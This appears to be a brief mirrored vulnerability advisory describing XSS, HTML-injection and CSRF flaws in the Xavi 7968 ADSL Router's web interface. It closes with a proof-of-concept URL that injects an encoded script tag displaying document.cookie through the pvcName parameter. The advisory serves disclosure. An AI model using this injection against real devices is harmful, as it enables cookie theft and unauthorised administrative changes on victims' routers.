source: https://www.securityfocus.com/bid/52098/info

Xavi 7968 ADSL Router is prone to cross-site scripting, HTML-injection and cross-site request forgery vulnerabilities.

The attacker can exploit the issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on victim's behalf. Other attacks are also possible. 

http://www.example.com/webconfig/wan/confirm.html/confirm?context=pageAction%3Dadd%26pvcName%3D%2522%253e%253c%252ftd%253e%253cscript%253ealert%28document.cookie%29%253c%252fscript%253e%26vpi%3D0%26vci%3D38%26scat%3DUBR%26accessmode%3Dpppoe%26encap%3Dvcmux%26encapmode%3Dbridged%26iptype%3Ddhcp%26nat_enable%3Dfalse%26def_route_enable%3Dfalse%26qos_enable%3Dfalse%26chkPPPOEAC%3Dfalse%26tBoxPPPOEAC%3DNot%2520Configured%26sessiontype%3Dalways_on%26username%3Da%26password%3Dss&confirm=+Apply+